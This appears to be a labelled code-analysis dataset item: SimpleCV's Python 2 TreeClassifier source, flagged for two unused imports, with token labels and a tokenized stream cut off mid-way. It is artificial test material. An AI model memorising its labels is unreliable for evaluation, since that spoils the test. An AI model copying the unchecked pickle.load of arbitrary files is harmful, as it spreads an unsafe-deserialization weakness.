[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
sightmachine/SimpleCV/SimpleCV/MachineLearning/TreeClassifier.py
[ { "content": "from SimpleCV.base import *\nfrom SimpleCV.ImageClass import Image, ImageSet\nfrom SimpleCV.DrawingLayer import *\nfrom SimpleCV.Features import FeatureExtractorBase\n\n\n\"\"\"\nThis class is encapsulates almost everything needed to train, test, and deploy a\nmulticlass decision tree / forest image classifier. Training data should\nbe stored in separate directories for each class. This class uses the feature\nextractor base class to convert images into a feature vector. The basic workflow\nis as follows.\n1. Get data.\n2. Setup Feature Extractors (roll your own or use the ones I have written).\n3. Train the classifier.\n4. Test the classifier.\n5. Tweak parameters as necessary.\n6. Repeat until you reach the desired accuracy.\n7. Save the classifier.\n8. Deploy using the classify method.\n\"\"\"\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TreeClassifier:\n \"\"\"\n This method encapsulates a number of tree-based machine learning approaches\n and associated meta algorithms.\n\n Decision trees:\n http://en.wikipedia.org/wiki/Decision_trees\n\n boosted adpative decision trees\n http://en.wikipedia.org/wiki/Adaboost\n\n random forrests\n http://en.wikipedia.org/wiki/Random_forest\n\n bagging (bootstrap aggregating)\n http://en.wikipedia.org/wiki/Bootstrap_aggregating\n \"\"\"\n mClassNames = []\n mDataSetRaw = []\n mDataSetOrange = []\n mClassifier = None\n mLearner = None\n mTree = None\n mFeatureExtractors = None\n mOrangeDomain = None\n mFlavorParams = None\n\n mTreeTypeDict = {\n \"Tree\":0, # A vanilla classification tree\n \"Bagged\":1, # Bootstrap aggregating aka bagging - make new data sets and test on them\n \"Forest\":2, # Lots of little trees\n \"Boosted\":3 # Highly optimized trees.\n }\n\n mforestFlavorDict = {\n \"NTrees\":100, #number of trees in our forest\n \"NAttributes\":None # number of attributes per split sqrt(features) is default\n }\n mBoostedFlavorDict = {\n \"NClassifiers\":10, #number of learners\n }\n mBaggedFlavorDict = {\n \"NClassifiers\":10, #numbers of classifiers / tree splits\n }\n\n\n load = classmethod(load)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.TreeClassifier", "header": "['module', '___EOS___']", "index": 21 }, { "content": " def __init__(self,featureExtractors=[],flavor='Tree',flavorDict=None):\n \"\"\"\n dist = distance algorithm\n k = number of nearest neighbors\n \"\"\"\n if not ORANGE_ENABLED:\n logger.warning(\"I'm sorry, but you need the orange machine learning library installed to use this\")\n return None\n\n self.mClassNames = []\n self.mDataSetRaw = []\n self.mDataSetOrange = []\n self.mClassifier = None\n self.mLearner = None\n self.mTree = None\n self.mFeatureExtractors = None\n self.mOrangeDomain = None\n self.mFlavorParams = None\n self.mFlavor = self.mTreeTypeDict[flavor]\n if(flavorDict is None):\n if(self.mFlavor == self.mTreeTypeDict[\"Bagged\"]):\n self.mFlavorParams = self.mBaggedFlavorDict\n elif(self.mFlavor == self.mTreeTypeDict[\"Forest\"]):\n self.mFlavorParams = self.mforestFlavorDict #mmmm tastes like pinecones and squirrels\n elif(self.mFlavor == self.mTreeTypeDict[\"Boosted\"]):\n self.mFlavorParams = self.mBoostedFlavorDict\n else:\n self.mFlavorParams = flavorDict\n self.mFeatureExtractors = featureExtractors", "metadata": "root.TreeClassifier.__init__", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 66 }, { "content": " def load(cls, fname):\n \"\"\"\n Load the classifier from file\n \"\"\"\n return pickle.load(file(fname))", "metadata": "root.TreeClassifier.load", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 96 }, { "content": " def save(self, fname):\n \"\"\"\n Save the classifier to file\n \"\"\"\n output = open(fname, 'wb')\n pickle.dump(self,output,2) # use two otherwise it w\n output.close()", "metadata": "root.TreeClassifier.save", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 104 }, { "content": " def __getstate__(self):\n mydict = self.__dict__.copy()\n self.mDataSetOrange = None\n del mydict['mDataSetOrange']\n self.mOrangeDomain = None\n del mydict['mOrangeDomain']\n self.mLearner = None\n del mydict['mLearner']\n self.mTree = None\n del mydict['mTree']\n return mydict", "metadata": "root.TreeClassifier.__getstate__", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 112 }, { "content": " def __setstate__(self, mydict):\n self.__dict__ = mydict\n colNames = []\n for extractor in self.mFeatureExtractors:\n colNames.extend(extractor.getFieldNames())\n self.mOrangeDomain = orange.Domain(map(orange.FloatVariable,colNames),orange.EnumVariable(\"type\",values=self.mClassNames))\n self.mDataSetOrange = orange.ExampleTable(self.mOrangeDomain,self.mDataSetRaw)\n if(self.mFlavor == 0):\n self.mLearner = orange.TreeLearner()\n self.mClassifier = self.mLearner(self.mDataSetOrange)\n elif(self.mFlavor == 1): #bagged\n self.mTree = orange.TreeLearner()\n self.mLearner = orngEnsemble.BaggedLearner(self.mTree,t=self.mFlavorParams[\"NClassifiers\"])\n self.mClassifier = self.mLearner(self.mDataSetOrange)\n elif(self.mFlavor == 2):#forest\n self.mTree = orange.TreeLearner()\n self.mLearner = orngEnsemble.RandomForestLearner(trees=self.mFlavorParams[\"NTrees\"], attributes=self.mFlavorParams[\"NAttributes\"])\n self.mClassifier = self.mLearner(self.mDataSetOrange)\n elif(self.mFlavor == 3):#boosted\n self.mTree = orange.TreeLearner()\n self.mLearner = orngEnsemble.BoostedLearner(self.mTree,t=self.mFlavorParams[\"NClassifiers\"])\n self.mClassifier = self.mLearner(self.mDataSetOrange)", "metadata": "root.TreeClassifier.__setstate__", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 124 }, { "content": " def classify(self, image):\n \"\"\"\n Classify a single image. Takes in an image and returns the string\n of the classification.\n\n Make sure you haved loaded the feauture extractors and the training data.\n\n \"\"\"\n featureVector = []\n for extractor in self.mFeatureExtractors: #get the features\n feats = extractor.extract(image)\n if( feats is not None ):\n featureVector.extend(feats)\n featureVector.extend([self.mClassNames[0]])\n test = orange.ExampleTable(self.mOrangeDomain,[featureVector])\n c = self.mClassifier(test[0]) #classify\n return str(c) #return to class name", "metadata": "root.TreeClassifier.classify", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 148 }, { "content": " def setFeatureExtractors(self, extractors):\n \"\"\"\n Add a list of feature extractors to the classifier. These feature extractors\n must match the ones used to train the classifier. If the classifier is already\n trained then this method will require that you retrain the data.\n \"\"\"\n self.mFeatureExtractors = extractors\n return None", "metadata": "root.TreeClassifier.setFeatureExtractors", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 167 }, { "content": " def _trainPath(self,path,className,subset,disp,verbose):\n count = 0\n files = []\n for ext in IMAGE_FORMATS:\n files.extend(glob.glob( os.path.join(path, ext)))\n if(subset > 0):\n nfiles = min(subset,len(files))\n else:\n nfiles = len(files)\n badFeat = False\n for i in range(nfiles):\n infile = files[i]\n if verbose:\n print \"Opening file: \" + infile\n img = Image(infile)\n featureVector = []\n for extractor in self.mFeatureExtractors:\n feats = extractor.extract(img)\n if( feats is not None ):\n featureVector.extend(feats)\n else:\n badFeat = True\n\n if(badFeat):\n badFeat = False\n continue\n\n featureVector.extend([className])\n self.mDataSetRaw.append(featureVector)\n text = 'Training: ' + className\n self._WriteText(disp,img,text,Color.WHITE)\n count = count + 1\n del img\n return count", "metadata": "root.TreeClassifier._trainPath", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 176 }, { "content": " def _trainImageSet(self,imageset,className,subset,disp,verbose):\n count = 0\n badFeat = False\n if (subset>0):\n imageset = imageset[0:subset] \n for img in imageset:\n if verbose:\n print \"Opening file: \" + img.filename\n featureVector = []\n for extractor in self.mFeatureExtractors:\n feats = extractor.extract(img)\n if( feats is not None ):\n featureVector.extend(feats)\n else:\n badFeat = True\n \n if(badFeat):\n badFeat = False\n continue\n \n featureVector.extend([className])\n self.mDataSetRaw.append(featureVector)\n text = 'Training: ' + className\n self._WriteText(disp,img,text,Color.WHITE)\n count = count + 1\n del img\n return count", "metadata": "root.TreeClassifier._trainImageSet", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 211 }, { "content": " def train(self,images,classNames,disp=None,subset=-1,savedata=None,verbose=True):\n \"\"\"\n Train the classifier.\n images paramater can take in a list of paths or a list of imagesets\n images - the order of the paths or imagesets must be in the same order as the class type\n\n - Note all image classes must be in seperate directories\n - The class names must also align to the directories or imagesets\n\n disp - if display is a display we show images and class label,\n otherwise nothing is done.\n\n subset - if subset = -1 we use the whole dataset. If subset = # then we\n use min(#images,subset)\n\n savedata - if save data is None nothing is saved. If savedata is a file\n name we save the data to a tab delimited file.\n\n verbose - print confusion matrix and file names\n returns [%Correct %Incorrect Confusion_Matrix]\n \"\"\"\n #if( (self.mFlavor == 1 or self.mFlavor == 3) and len(classNames) > 2):\n # logger.warning(\"Boosting / Bagging only works for binary classification tasks!!!\")\n\n count = 0\n self.mClassNames = classNames\n # for each class, get all of the data in the path and train\n for i in range(len(classNames)):\n if ( isinstance(images[i], str) ):\n count = count + self._trainPath(images[i],classNames[i],subset,disp,verbose)\n else:\n count = count + self._trainImageSet(images[i],classNames[i],subset,disp,verbose)\n\n colNames = []\n for extractor in self.mFeatureExtractors:\n colNames.extend(extractor.getFieldNames())\n\n if(count <= 0):\n logger.warning(\"No features extracted - bailing\")\n return None\n\n self.mOrangeDomain = orange.Domain(map(orange.FloatVariable,colNames),orange.EnumVariable(\"type\",values=self.mClassNames))\n self.mDataSetOrange = orange.ExampleTable(self.mOrangeDomain,self.mDataSetRaw)\n if(savedata is not None):\n orange.saveTabDelimited (savedata, self.mDataSetOrange)\n\n if(self.mFlavor == 0):\n self.mLearner = orange.TreeLearner()\n self.mClassifier = self.mLearner(self.mDataSetOrange)\n elif(self.mFlavor == 1): #bagged\n self.mTree = orange.TreeLearner()\n self.mLearner = orngEnsemble.BaggedLearner(self.mTree,t=self.mFlavorParams[\"NClassifiers\"])\n self.mClassifier = self.mLearner(self.mDataSetOrange)\n elif(self.mFlavor == 2):#forest\n self.mTree = orange.TreeLearner()\n self.mLearner = orngEnsemble.RandomForestLearner(trees=self.mFlavorParams[\"NTrees\"], attributes=self.mFlavorParams[\"NAttributes\"])\n self.mClassifier = self.mLearner(self.mDataSetOrange)\n elif(self.mFlavor == 3):#boosted\n self.mTree = orange.TreeLearner()\n self.mLearner = orngEnsemble.BoostedLearner(self.mTree,t=self.mFlavorParams[\"NClassifiers\"])\n self.mClassifier = self.mLearner(self.mDataSetOrange)\n\n correct = 0\n incorrect = 0\n for i in range(count):\n c = self.mClassifier(self.mDataSetOrange[i])\n test = self.mDataSetOrange[i].getclass()\n if verbose:\n print \"original\", test, \"classified as\", c\n if(test==c):\n correct = correct + 1\n else:\n incorrect = incorrect + 1\n\n good = 100*(float(correct)/float(count))\n bad = 100*(float(incorrect)/float(count))\n\n confusion = 0\n if( len(self.mClassNames) > 2 ):\n crossValidator = orngTest.learnAndTestOnLearnData([self.mLearner],self.mDataSetOrange)\n confusion = orngStat.confusionMatrices(crossValidator)[0]\n\n if verbose:\n print(\"Correct: \"+str(good))\n print(\"Incorrect: \"+str(bad))\n if( confusion != 0 ):\n classes = self.mDataSetOrange.domain.classVar.values\n print \"\\t\"+\"\\t\".join(classes)\n for className, classConfusions in zip(classes, confusion):\n print (\"%s\" + (\"\\t%i\" * len(classes))) % ((className, ) + tuple( classConfusions))\n\n if(self.mFlavor == 0):\n self._PrintTree(self.mClassifier)\n\n return [good, bad, confusion]", "metadata": "root.TreeClassifier.train", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 239 }, { "content": " def test(self,images,classNames,disp=None,subset=-1,savedata=None,verbose=True):\n \"\"\"\n Test the classifier.\n images paramater can take in a list of paths or a list of imagesets\n images - the order of the paths or imagesets must be in the same order as the class type\n\n - Note all image classes must be in seperate directories\n - The class names must also align to the directories or imagesets\n\n disp - if display is a display we show images and class label,\n otherwise nothing is done.\n\n subset - if subset = -1 we use the whole dataset. If subset = # then we\n use min(#images,subset)\n\n savedata - if save data is None nothing is saved. If savedata is a file\n name we save the data to a tab delimited file.\n\n verbose - print confusion matrix and file names\n returns [%Correct %Incorrect Confusion_Matrix]\n \"\"\"\n count = 0\n correct = 0\n self.mClassNames = classNames\n colNames = []\n for extractor in self.mFeatureExtractors:\n colNames.extend(extractor.getFieldNames())\n if(self.mOrangeDomain is None):\n self.mOrangeDomain = orange.Domain(map(orange.FloatVariable,colNames),orange.EnumVariable(\"type\",values=self.mClassNames))\n\n dataset = []\n for i in range(len(classNames)):\n if ( isinstance(images[i],str) ):\n [dataset,cnt,crct] =self._testPath(images[i],classNames[i],dataset,subset,disp,verbose)\n count = count + cnt\n correct = correct + crct\n else:\n [dataset,cnt,crct] =self._testImageSet(images[i],classNames[i],dataset,subset,disp,verbose)\n count = count + cnt\n correct = correct + crct\n\n\n testData = orange.ExampleTable(self.mOrangeDomain,dataset)\n\n if savedata is not None:\n orange.saveTabDelimited (savedata, testData)\n\n confusion = 0\n if( len(self.mClassNames) > 2 ):\n crossValidator = orngTest.learnAndTestOnTestData([self.mLearner],self.mDataSetOrange,testData)\n confusion = orngStat.confusionMatrices(crossValidator)[0]\n\n good = 100*(float(correct)/float(count))\n bad = 100*(float(count-correct)/float(count))\n if verbose:\n print(\"Correct: \"+str(good))\n print(\"Incorrect: \"+str(bad))\n if( confusion != 0 ):\n classes = self.mDataSetOrange.domain.classVar.values\n print \"\\t\"+\"\\t\".join(classes)\n for className, classConfusions in zip(classes, confusion):\n print (\"%s\" + (\"\\t%i\" * len(classes))) % ((className, ) + tuple( classConfusions))\n return [good, bad, confusion]", "metadata": "root.TreeClassifier.test", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 338 }, { "content": " def _testPath(self,path,className,dataset,subset,disp,verbose):\n count = 0\n correct = 0\n badFeat = False\n files = []\n for ext in IMAGE_FORMATS:\n files.extend(glob.glob( os.path.join(path, ext)))\n if(subset > 0):\n nfiles = min(subset,len(files))\n else:\n nfiles = len(files)\n for i in range(nfiles):\n infile = files[i]\n if verbose:\n print \"Opening file: \" + infile\n img = Image(infile)\n featureVector = []\n for extractor in self.mFeatureExtractors:\n feats = extractor.extract(img)\n if( feats is not None ):\n featureVector.extend(feats)\n else:\n badFeat = True\n if( badFeat ):\n del img\n badFeat = False\n continue\n featureVector.extend([className])\n dataset.append(featureVector)\n test = orange.ExampleTable(self.mOrangeDomain,[featureVector])\n c = self.mClassifier(test[0])\n testClass = test[0].getclass()\n if(testClass==c):\n text = \"Classified as \" + str(c)\n self._WriteText(disp,img,text, Color.GREEN)\n correct = correct + 1\n else:\n text = \"Mislassified as \" + str(c)\n self._WriteText(disp,img,text, Color.RED)\n count = count + 1\n del img\n\n return([dataset,count,correct])", "metadata": "root.TreeClassifier._testPath", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 402 }, { "content": " def _testImageSet(self,imageset,className,dataset,subset,disp,verbose):\n count = 0\n correct = 0\n badFeat = False\n if(subset > 0):\n imageset = imageset[0:subset]\n for img in imageset:\n if verbose:\n print \"Opening file: \" + img.filename\n featureVector = []\n for extractor in self.mFeatureExtractors:\n feats = extractor.extract(img)\n if( feats is not None ):\n featureVector.extend(feats)\n else:\n badFeat = True\n if( badFeat ):\n del img\n badFeat = False\n continue \n featureVector.extend([className])\n dataset.append(featureVector)\n test = orange.ExampleTable(self.mOrangeDomain,[featureVector])\n c = self.mClassifier(test[0])\n testClass = test[0].getclass()\n if(testClass==c):\n text = \"Classified as \" + str(c)\n self._WriteText(disp,img,text, Color.GREEN)\n correct = correct + 1\n else: \n text = \"Mislassified as \" + str(c)\n self._WriteText(disp,img,text, Color.RED)\n count = count + 1\n del img\n \n return([dataset,count,correct])", "metadata": "root.TreeClassifier._testImageSet", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 446 }, { "content": " def _WriteText(self, disp, img, txt,color):\n if(disp is not None):\n txt = ' ' + txt + ' '\n img = img.adaptiveScale(disp.resolution)\n layer = DrawingLayer((img.width,img.height))\n layer.setFontSize(60)\n layer.ezViewText(txt,(20,20),fgcolor=color)\n img.addDrawingLayer(layer)\n img.applyLayers()\n img.save(disp)", "metadata": "root.TreeClassifier._WriteText", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 483 }, { "content": " def _PrintTree(self,x):\n #adapted from the orange documentation\n if type(x) == orange.TreeClassifier:\n self._PrintTree0(x.tree, 0)\n elif type(x) == orange.TreeNode:\n self._PrintTree0(x, 0)\n else:\n raise TypeError, \"invalid parameter\"", "metadata": "root.TreeClassifier._PrintTree", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 494 }, { "content": " def _PrintTree0(self,node,level):\n #adapted from the orange documentation\n if not node:\n print \" \"*level + \"<null node>\"\n return\n\n if node.branchSelector:\n nodeDesc = node.branchSelector.classVar.name\n nodeCont = node.distribution\n print \"\\n\" + \" \"*level + \"%s (%s)\" % (nodeDesc, nodeCont),\n for i in range(len(node.branches)):\n print \"\\n\" + \" \"*level + \": %s\" % node.branchDescriptions[i],\n self._PrintTree0(node.branches[i], level+1)\n else:\n nodeCont = node.distribution\n majorClass = node.nodeClassifier.defaultValue\n print \"--> %s (%s) \" % (majorClass, nodeCont)", "metadata": "root.TreeClassifier._PrintTree0", "header": "['class', 'TreeClassifier', ':', '___EOS___']", "index": 503 } ]
[ { "span": "from SimpleCV.ImageClass import Image, ImageSet", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 47 }, { "span": "from SimpleCV.Features import FeatureExtractorBase", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 50 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "Simple", "CV_", "._", "base_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Simple", "CV_", "._", "Image", "Class_", "import_", "Image_", ",_", "Image", "Set_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Simple", "CV_", "._", "Draw", "ing", "Layer_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Simple", "CV_", "._", "Features_", "import_", "Feature", "Extract", "or", "Base_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Thi", "s", " ", "class", " ", "is", " ", "encapsulat", "es", " ", "alm", "ost", " ", "every", "thing", " ", "need", "ed", " ", "to", " ", "train", ",", " ", "test", ",", " ", "and", " ", "deploy", " ", "a", "\\", "10", ";", "multic", "lass", " ", "decision", " ", "tree", " ", "/", " ", "forest", " ", "image", " ", "classif", "ier", ".", " ", "Train", "ing", " ", "data", " ", "shou", "ld", "\\", "10", ";", "be", " ", "store", "d", " ", "in", " ", "separate", " ", "director", "ies", " ", "for", " ", "each", " ", "class", ".", " ", "Thi", "s", " ", "class", " ", "use", "s", " ", "the", " ", "feature", "\\", "10", ";", "extract", "or", " ", "base", " ", "class", " ", "to", " ", " ", "convert", " ", "images", " ", "int", "o", " ", "a", " ", "feature", " ", "vector", ".", " ", "The", " ", "basic", " ", "workf", "low", "\\", "10", ";", "is", " ", "as", " ", "follow", "s", ".", "\\", "10", ";", "1", ".", " ", "Get", " ", "data", ".", "\\", "10", ";", "2", ".", " ", "Set", "up", " ", "Feature", " ", "Extract", "ors", " ", "(", "roll", " ", "your", " ", "own", " ", "or", " ", "use", " ", "the", " ", "ones", " ", "I", " ", "have", " ", "writt", "en", ").", "\\", "10", ";", "3", ".", " ", "Train", " ", "the", " ", "classif", "ier", ".", "\\", "10", ";", "4", ".", " ", "Test", " ", "the", " ", "classif", "ier", ".", "\\", "10", ";", "5", ".", " ", "Twe", "ak", " ", "parameter", "s", " ", "as", " ", "necessar", "y", ".", "\\", "10", ";", "6", ".", " ", "Repeat", " ", "unti", "l", " ", "you", " ", "reach", " ", "the", " ", "desi", "red", " ", "accu", "rac", "y", ".", "\\", "10", ";", "7", ".", " ", "Save", " ", "the", " ", "classif", "ier", ".", "\\", "10", ";", "8", ".", " ", "Deploy", " ", "usi", "ng", " ", "the", " ", "classify", " ", "method", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "method", " ", "encapsulat", "es", " ", "a", " ", "number", " ", "of", " ", "tree", "-", "based", " ", "machine", " ", "learn", "ing", " ", "appro", "ache", "s", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "associate", "d", " ", "meta", " ", "algo", "rit", "hms", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Deci", "sion", " ", "trees", ":", "\\", "10", ";", " ", " ", " ", " ", "http", "://", "en", ".", "wikip", "edia", ".", "org", "/", "wiki", "/", "Deci", "sion", "\\u", "trees", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "boost", "ed", " ", "ad", "pati", "ve", " ", "decision", " ", "trees", "\\", "10", ";", " ", " ", " ", " ", "http", "://", "en", ".", "wikip", "edia", ".", "org", "/", "wiki", "/", "Ada", "boost", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "random", " ", "for", "rest", "s", "\\", "10", ";", " ", " ", " ", " ", "http", "://", "en", ".", "wikip", "edia", ".", "org", "/", "wiki", "/", "Random", "\\u", "forest", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "bag", "ging", " ", "(", "boots", "trap", " ", "aggre", "gati", "ng", ")", "\\", "10", ";", " ", " ", " ", " ", "http", "://", "en", ".", "wikip", "edia", ".", "org", "/", "wiki", "/", "Boots", "trap", "\\u", "aggre", "gati", "ng", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "Class", "Names_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "Data", "Set", "Raw_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "Data", "Set", "Orange_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "Classifier_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "Learner", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "Tree_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "Feature", "Extract", "ors_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "Ora", "nge", "Domain_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "Fla", "vor", "Params_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "m", "Tree", "Type", "Dict_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Tree", "\"_", ":_", "0_", ",_", "#", " ", "A", " ", "vanilla", " ", "classificati", "on", " ", "tree_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Bag", "ged", "\"_", ":_", "1_", ",_", "#", " ", "Boots", "trap", " ", "aggre", "gati", "ng", " ", "aka", " ", "bag", "ging", " ", "-", " ", "make", " ", "new", " ", "data", " ", "sets", " ", "and", " ", "test", " ", "on", " ", "them", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Fore", "st", "\"_", ":_", "2_", ",_", "#", " ", "Lot", "s", " ", "of", " ", "litt", "le", " ", "trees_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Boost", "ed", "\"_", ":_", "3_", "#", " ", "Hig", "hl", "y", " ", "optimize", "d", " ", "trees", "._", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mf", "ore", "st", "Fla", "vor", "Dict_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "NT", "ree", "s", "\"_", ":_", "100_", ",_", "#", "number", " ", "of", " ", "trees", " ", "in", " ", "our", " ", "forest_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "NA", "ttr", "ibut", "es", "\"_", ":_", "None_", "#", " ", "number", " ", "of", " ", "attribute", "s", " ", "per", " ", "split", " ", "sqrt", "(", "features", ")", " ", "is", " ", "default_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "Boost", "ed", "Fla", "vor", "Dict_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "NC", "lass", "ifie", "rs", "\"_", ":_", "10_", ",_", "#", "number", " ", "of", " ", "learner", "s_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "Bag", "ged", "Fla", "vor", "Dict_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "NC", "lass", "ifie", "rs", "\"_", ":_", "10_", ",_", "#", "numbers", " ", "of", " ", "classif", "iers", " ", "/", " ", "tree", " ", "splits_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "load_", "=_", "classmethod_", "(_", "load_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 